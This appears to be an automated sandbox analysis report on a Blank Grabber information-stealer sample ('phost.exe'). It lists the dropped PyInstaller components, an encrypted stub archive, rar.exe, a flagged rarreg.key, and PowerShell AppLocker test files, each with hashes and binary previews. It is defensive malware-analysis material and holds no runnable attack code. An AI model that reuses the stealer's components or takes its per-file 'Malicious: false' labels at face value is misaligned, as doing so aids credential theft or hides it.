SHA-256:	DE2AC6D99234A28DCF583D90DCA7256DE986FCA9E896C9AAFD1F18BB536978B8
SHA-512:	62474BF9D5F39591240F71FD9270FCC7A2B2C0B4A1F93CBB57021040AD85B3AB8C401D17AEDF0141105118772F453C6137A026736F069CC7A965CB30E5479F07
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B:W\.[9..[9..[9..#...[9..'8..[9..'<..[9..'=..[9..':..[9..&8..[9.M#8..[9..[8.M[9..&4..[9..&9..[9..&...[9..&;..[9.Rich.[9.........................PE..d...Y..e.........." ...#.0...............................................................`.............................................L.......P............`..............<..........................................@...........................................UPX0....................................UPX1.....0.......*..................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI32202\_socket.pyd

Download File

Process:	C:\Users\user\Desktop\phost.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	45336
Entropy (8bit):	7.7177626825594965
Encrypted:	false
SSDEEP:	768:O1X8HEfobVbgwsIZsQD182/q2vQttkmnIzPnzTpwOgIGLwgBT5YiSyvvBAMxkEn:CXz0gwsGsQD1ZbmiSOgIGLwgBd7SyZxL
MD5:	F6D0876B14BCA5A264EC231895D80072
SHA1:	D68B662CFC247C07851EF0764FE9652E3E2C0981
SHA-256:	BCBF9A952473E53F130CE77B0DB69FE08C5845CE10DBE8C320B40F171A15D6A8
SHA-512:	1DB02975634FFCC4E73FAC355D7F67A915C3B4189FEAF9E7B24EF831E9F4A2E60A4BD1EBFD8157282A4094814332D62957FCD204B20F2904527E203AB355AB8E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........J./.+z\|.+z\|.+z\|.S.\|.+z\|.W{}.+z\|.W.}.+z\|.W~}.+z\|.Wy}.+z\|}V{}.+z\|.+{\|.+z\|.S{}.+z\|}Vw}.+z\|}Vz}.+z\|}V.\|.+z\|}Vx}.+z\|Rich.+z\|................PE..d......e.........." ...#.p.......... q....................................................`.........................................D...P....................0......................................................0}..@...........................................UPX0....................................UPX1.....p.......p..................@....rsrc................t..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI32202\_sqlite3.pyd

Download File

Process:	C:\Users\user\Desktop\phost.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	59160
Entropy (8bit):	7.835515959807496
Encrypted:	false
SSDEEP:	1536:e5ovI/e3wTAiHXhchuXbLfbmmKTnjBChRDLHKVIGOQQm7Syxx2e:e5fXAcew9KTjBCh1kIGOQQml
MD5:	0FDEDCB9B3A45152239CA4B1AEA4B211
SHA1:	1CCFF1F5E7B27C4156A231AD7A03BCC9695C5B92
SHA-256:	0FC03D25467850181C0FC4F0F8919C8C47CBA2BF578698D4354AA84FD810C7F7
SHA-512:	8CE5B38EE64AC0CDA831B6B2C746FB95BAADDA83665D8E125EAA8B4A07CB61B3EF88D60741B978B2108EC08B067F1C9C934099F539B1E24F55E3CA8350359611
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........@.g...g...g.......g..../..g......g....+..g....*..g....-..g..q./..g..../..g...g/..f..q.#..g..q....g..q...g..q.,..g..Rich.g..........PE..d......e.........." ...#.........p.. ........................................@............`..........................................;..P....9.......0..........8............;...................................... %..@...........................................UPX0.....p..............................UPX1................................@....rsrc........0......................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI32202\_ssl.pyd

Download File

Process:	C:\Users\user\Desktop\phost.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	67352
Entropy (8bit):	7.856108604878049
Encrypted:	false
SSDEEP:	1536:URuyAdinkEweTTDWPnQfNnPAdu8LfPXrBIGC777m7Synx5:2F9fEo58DPXdIGC77yN
MD5:	53996068AE9CF68619DA8CB142410D5E
SHA1:	9EB7465D6F22AB03DAC04CFCE668811A87E198F2
SHA-256:	CBD320C42277086CD962FD0B25842904CEB436346D380319625F54363F031DCF
SHA-512:	D5FBC53A2FFFECB1F3DA4B126E306961DE3B8070B5F722B6ED5E20BEF6AF48D52EDF96C975F68278E337BC78A25B4227E9EB44B51BAA786365A67CF977E4643E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U.k.4.8.4.8.4.8.L)8.4.8.H.9.4.8.H.9.4.8.H.9.4.8.H.9.4.8kI.9.4.8.4.8#5.8.L.9.4.8kI.9.4.8kI.9.4.8kIE8.4.8kI.9.4.8Rich.4.8........................PE..d......e.........." ...#.........@.......P...................................0............`.........................................l,..d....)....... ..........8............,..........................................@...........................................UPX0.....@..............................UPX1.........P......................@....rsrc........ ......................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip

Download File

Process:	C:\Users\user\Desktop\phost.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1329520
Entropy (8bit):	5.586655762137983
Encrypted:	false
SSDEEP:	12288:uttcY+b+vOmgRF1+fYNXPh26UZWAzCu7j5D95wdgkVodYOPjwwMJ9gCCaYc2I:uttcY+mHCiCA5TNqodYOPEPEaYc2I
MD5:	898E35281A756640780DBC31A0B78452
SHA1:	845B59CFD9FB152725F250A872E9D1D7A66AF258
SHA-256:	0DAA440C78582A693DABBC2325A06D817131BB170BAD436B126BAD896F1377CD
SHA-512:	421CC4A15E94293E53F1039B8BB5BE7EDCBC8E3E0E4ABC7F34FAF991993F51CB5F51493B58BB341CB9579347EC134B02104454075A8E7E33E45B8E3A66A44D79
Malicious:	false
Reputation:	unknown
Preview:	PK..........!.x[_C............_collections_abc.pyc......................................Z.....d.Z.d.d.l.m.Z.m.Z...d.d.l.Z...e.e.e.............Z...e.d.........Z.d...Z...e.e.........Z.[.g.d...Z.d.Z...e...e.d.................Z...e...e...e.........................Z...e...e.i.j%..........................................Z...e...e.i.j)..........................................Z...e...e.i.j-..........................................Z...e...e.g.................Z...e...e...e.g.........................Z...e...e...e.d.........................Z...e...e...e.d.d.z...........................Z...e...e...e.........................Z...e...e.d.................Z ..e...e.d.................Z!..e...e...e"........................Z#..e.i.j%..................................Z$..e.i.j)..................................Z%..e.i.j-..................................Z&..e.e.jN..........................Z(..e...d...................Z)d...Z..e........Z..e.e........Z+ejY............................[d...Z-..e-........

C:\Users\user\AppData\Local\Temp\_MEI32202\blank.aes

Download File

Process:	C:\Users\user\Desktop\phost.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	110302
Entropy (8bit):	7.76600595304077
Encrypted:	false
SSDEEP:	3072:bWwadoInRQfg0tr7VIXK9kVqYy/XZaWjoYp88TP4Kb:ba6KzixQOkVqYWXZaWjxpPP
MD5:	504E4173AAA7A26BDD8D03DE460B8361
SHA1:	F11272BD0EAD47DD82AF12ACB38292913803BA87
SHA-256:	ACD828587F1820C3AE85091B332CC5A6D56385A7516639772EB67A0FF2ABEB1A
SHA-512:	B6442DB7005CB0D374FA6BB8A82890E1B4D8CF3EE6774149DFBC3B40EC527D8EF40E66AFAF7355CEFE8BA54E287EBE458E3554BF5C843BAA6C5A7F5243B4B13F
Malicious:	false
Reputation:	unknown
Preview:	PK........mL.Y.Y1.h...h.......stub-o.pyc..........Ug.................................e.....e...e...e.g.d...........j.....................................e.g.d...........j.....................................e.g.d...................j...................................Z...e.....e...e...e.g.d...........j.....................................e.g.d...........j.....................................e.g.d...................j...................................Z...e.....e...e...e.g.d...........j.....................................e.g.d...........j.....................................e.g.d...................j...................................Z...e.....e...e...e.g.d...........j.....................................e.g.d...........j.....................................e.g.d...................j...................................Z.d...Z.d.Z.....e...e.....e...e...e.g.d...........j.....................................e.g.d...........j.....................................e.g.d...................j.......

C:\Users\user\AppData\Local\Temp\_MEI32202\libcrypto-3.dll

Download File

Process:	C:\Users\user\Desktop\phost.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1629464
Entropy (8bit):	7.952620301087112
Encrypted:	false
SSDEEP:	49152:AMyDwbv70aKbP1zkLO5YHLA1CPwDvt3uFlDCZ:kwbv77KbPaqYHLA1CPwDvt3uFlDCZ
MD5:	27515B5BB912701ABB4DFAD186B1DA1F
SHA1:	3FCC7E9C909B8D46A2566FB3B1405A1C1E54D411
SHA-256:	FE80BD2568F8628032921FE7107BD611257FF64C679C6386EF24BA25271B348A
SHA-512:	087DFDEDE2A2E6EDB3131F4FDE2C4DF25161BEE9578247CE5EC2BCE03E17834898EB8D18D1C694E4A8C5554AD41392D957E750239D3684A51A19993D3F32613C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./',.kFB.kFB.kFB.b>..yFB..:C.iFB..:G.gFB..:F.cFB..:A.oFB.kFC..FB. >C.`FB.;A.KFB.;F..EB.;B.jFB.;..jFB.;@.jFB.RichkFB.........................PE..d...x..e.........." ...#. .......`9.0{O..p9.................................. R...........`......................................... .O......O.h.....O.......K.\.............R.......................................O.@...........................................UPX0.....`9.............................UPX1..... ...p9.....................@....rsrc.........O.....................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI32202\libffi-8.dll

Download File

Process:	C:\Users\user\Desktop\phost.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29968
Entropy (8bit):	7.677818197322094
Encrypted:	false
SSDEEP:	768:3p/6aepjG56w24Up3p45YiSyvkIPxWEqG:tA154spK7SytPxF
MD5:	08B000C3D990BC018FCB91A1E175E06E
SHA1:	BD0CE09BB3414D11C91316113C2BECFFF0862D0D
SHA-256:	135C772B42BA6353757A4D076CE03DBF792456143B42D25A62066DA46144FECE
SHA-512:	8820D297AEDA5A5EBE1306E7664F7A95421751DB60D71DC20DA251BCDFDC73F3FD0B22546BD62E62D7AA44DFE702E4032FE78802FB16EE6C2583D65ABC891CBF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".@................................................................`.....................................................................P.......................................................@...........................................UPX0....................................UPX1.....@.......<..................@...UPX2.................@..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI32202\libssl-3.dll

Download File

Process:	C:\Users\user\Desktop\phost.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	229144
Entropy (8bit):	7.930038440560372
Encrypted:	false
SSDEEP:	3072:SFfmvsqWLSCMT+MyN6Qp2oZqpN+/fvrqknqbf6CjaBGkfPkZAK1ck2kBVfLwOmFd:SFevsT9JN+vyH1nqLr3CPrYBBRcd
MD5:	6EDA5A055B164E5E798429DCD94F5B88
SHA1:	2C5494379D1EFE6B0A101801E09F10A7CB82DBE9
SHA-256:	377DA6175C8A3815D164561350AE1DF22E024BC84C55AE5D2583B51DFD0A19A8
SHA-512:	74283B4051751F9E4FD0F4B92CA4B953226C155FE4730D737D7CE41A563D6F212DA770E96506D1713D8327D6FEF94BAE4528336EBCFB07E779DE0E0F0CB31F2E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........T..T..T..].3.Z....V......V....X....\....P....W..T..I....e....U.._.U....U..RichT..........PE..d......e.........." ...#.....P...p...r....................................................`............................................,C......8............ ..pM...................................................~..@...........................................UPX0.....p..............................UPX1................................@....rsrc....P.......L..................@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI32202\python312.dll

Download File

Process:	C:\Users\user\Desktop\phost.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1826072
Entropy (8bit):	7.993990461497291
Encrypted:	true
SSDEEP:	49152:fTBxkJIkNEakpCPK1JQyHi3p70PHY6/g7:teFNlUsK1ij31WYUW
MD5:	86D9B8B15B0340D6EC235E980C05C3BE
SHA1:	A03BDD45215A0381DCB3B22408DBC1F564661C73
SHA-256:	12DBBCD67015D6CDB680752184107B7DEB84E906B0E8E860385F85D33858A5F6
SHA-512:	D360CC3F00D90FD04CBBA09D879E2826968DF0C1FDC44890C60B8450FE028C3E767450C3543C62D4F284FB7E004A9A33C52538C2279221EE6CBDB1A9485F88B2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................m.................x...s...x......x......x......Rich............PE..d...=..e.........." ...#.........@Q...l..PQ...................................m...........`.........................................H/l......)l...... l......``..V............l. ...........................0.l.(...p.l.@...........................................UPX0.....@Q.............................UPX1.........PQ.....................@....rsrc........ l.....................@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe

Download File

Process:	C:\Users\user\Desktop\phost.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	630736
Entropy (8bit):	6.409476333013752
Encrypted:	false
SSDEEP:	12288:3lPCcFDlj+gV4zOifKlOWVNcjfQww0S5JPgdbBC9qxbYG9Y:3lPCcvj+YYrfSOWVNcj1JS5JPgdbBCZd
MD5:	9C223575AE5B9544BC3D69AC6364F75E
SHA1:	8A1CB5EE02C742E937FEBC57609AC312247BA386
SHA-256:	90341AC8DCC9EC5F9EFE89945A381EB701FE15C3196F594D9D9F0F67B4FC2213
SHA-512:	57663E2C07B56024AAAE07515EE3A56B2F5068EBB2F2DC42BE95D1224376C2458DA21C965AAB6AE54DE780CB874C2FC9DE83D9089ABF4536DE0F50FACA582D09
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.a.@.a.@.a..v..F.a..v....a..v..M.a..J..B.a.{.b.H.a.{.d.j.a.{.e.U.a.I..K.a.@.`...a..d...a....A.a..c.A.a.Rich@.a.................PE..d....~.^.........."..........2.................@.............................p.......4....`..................................................]..x.......Xy......pD...`...?...`..........T...................x...(.......................@............................text...C........................... ..`.rdata..:p.......r..................@..@.data............2...b..............@....pdata..pD.......F..................@..@.tls................................@....rsrc...Xy.......z..................@..@.reloc.......`.......V..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI32202\rarreg.key

Download File

Process:	C:\Users\user\Desktop\phost.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	456
Entropy (8bit):	4.447296373872587
Encrypted:	false
SSDEEP:	12:Bn9j9sxpCDPxfhKLiaE5cNH0u/OCIhjWO:B9jiWDpf025cNU7CIEO
MD5:	4531984CAD7DACF24C086830068C4ABE
SHA1:	FA7C8C46677AF01A83CF652EF30BA39B2AAE14C3
SHA-256:	58209C8AB4191E834FFE2ECD003FD7A830D3650F0FD1355A74EB8A47C61D4211
SHA-512:	00056F471945D838EF2CE56D51C32967879FE54FCBF93A237ED85A98E27C5C8D2A39BC815B41C15CAACE2071EDD0239D775A31D1794DC4DBA49E7ECFF1555122
Malicious:	true
Yara Hits:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rarreg.key, Author: Joe Security
Reputation:	unknown
Preview:	RAR registration data.Blank-c.Stealer License.UID=e7ae0ee11c8703113d95.64122122503d95ca34668bc2ffb72bcf8579be24bc20f3cd84baaf.afcf62e30badf158ad0c60feb872189f288e79eb40c28ca0ab6407.3a46f47624f80a44a0e4d71ef4224075bf9e28fce340a29099d287.15690be6b591c3bb355e99d6d1b8ffcd69602cb8aaa6dedf268c83.55c1fb90c384a926139625f6c0cbfc57a96996fdb04075bf9e28fc.e340a29067e9237e333577d2c7f3ed1d0f63287f74c9e50c60d76d.b5915ff59f78103d48e0826658d72ba8813da4a649711057613203.

C:\Users\user\AppData\Local\Temp\_MEI32202\select.pyd

Download File

Process:	C:\Users\user\Desktop\phost.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26392
Entropy (8bit):	7.448215150146329
Encrypted:	false
SSDEEP:	768:qnyukFaypXM5IGQGNf5YiSyvTcAMxkEMrX:qnGAaM5IGQGNR7Syb6xuX
MD5:	CCE3E60EC05C80F5F5EE014BC933554C
SHA1:	468D2757B201D6259034215CFD912E8E883F4B9E
SHA-256:	84A81CCA6D80EDD9EC2D31926231DE393ED7F26ED86AE39219ADC5EAB24B8100
SHA-512:	7CBCEE4DD4C817FBEF8B9AEF2D457B56970C5E5C03BDF2CAF74415316B44E7DA33EE39B6A434F4760C80F74C33B5C0C5AD00936D438B947A39FFCD53E890CF0C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........t.q\|'.q\|'.q\|'...'.q\|'q.}&.q\|'q.y&.q\|'q.x&.q\|'q..&.q\|'..}&.q\|'.q}'.q\|'..}&.q\|'..q&.q\|'..\|&.q\|'...'.q\|'..~&.q\|'Rich.q\|'........PE..d...Z..e.........." ...#.0................................................................`......................................... ...L....................`..............l..........................................@...........................................UPX0....................................UPX1.....0.......(..................@....rsrc................,..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI32202\sqlite3.dll

Download File

Process:	C:\Users\user\Desktop\phost.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	637720
Entropy (8bit):	7.993319352541641
Encrypted:	true
SSDEEP:	12288:kevMEHnoed8VDT4Rc+iHsLG56RY+hPQHAnxeIglZsk2F24ZHL2Ubsi2UTwYqmH:k8oy8x4Rl1dRnxeDlZxsl2MsD0w9mH
MD5:	C6ED91B8FDB99EBA4C099EB6D0EEA5D9
SHA1:	915B2D004F3F07CD18610E413B087568258DA866
SHA-256:	E6E1910E237AC7847748918804D1C414C0F1696A29E9718739312A233EB96D80
SHA-512:	92FE738FCD75E39C6BC9F1EDB3B16A1A7CF3AE6C0D2C29C721B1A5BD3E07A4BB8E8295B3AD3CB44BCEE05A8110855B0FEA66B156461C4F1761C53C15D7E67EE5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W..W..W..^.P.[....U....Z...._.....S.....T..W........V.....V....<.V......V..RichW..........................PE..d......e.........." ...#.`...0.......*.......................................p............`..........................................K..."...H.......@.......................m.......................................7..@...........................................UPX0....................................UPX1.....`.......Z..................@....rsrc....0...@.......^..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI32202\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\phost.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	302872
Entropy (8bit):	7.986491235737331
Encrypted:	false
SSDEEP:	6144:OtX6biS7ltWh4BvaEyS+KPUR30JlSEwV7hqoUnJG4qKOF6J:OZLS5YiyEFPPl3yqrJG4V06J
MD5:	427668E55E99222B3F031B46FB888F3A
SHA1:	C9BE630CB2536C20BBC6FC9BA4A57889CDB684BC
SHA-256:	9CA1B01048D3867CB002A01A148F279BA9EDAF7B7AD04D17E3E911E445F2D831
SHA-512:	E5CA0DDC2758891090DB726DE2D3FD7F2BA64E309979136B4D3299445B1F751DFD8CD56BB3343499CB6ED479C08732D1D349D32B7F7E5AC417352BD0CE676253
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......w...3m..3m..3m..:...5m......1m......>m......;m......0m......0m..x...1m..3m..cm......2m......2m....j.2m......2m..Rich3m..................PE..d...]..e.........." ...#.`.......0.......@................................................`.............................................X....................@..........................................................@...........................................UPX0.....0..............................UPX1.....`...@...^..................@....rsrc................b..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ky2vhkm.qo2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_33auxidj.bu1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3eurwbog.ehn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3ux2miaz.4c4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ksw230z.32g.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5osrvovy.tj4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5uuwd04e.ieo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5ztglcsr.wrz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bgy43j4d.lwy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c1ramz4e.wb0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
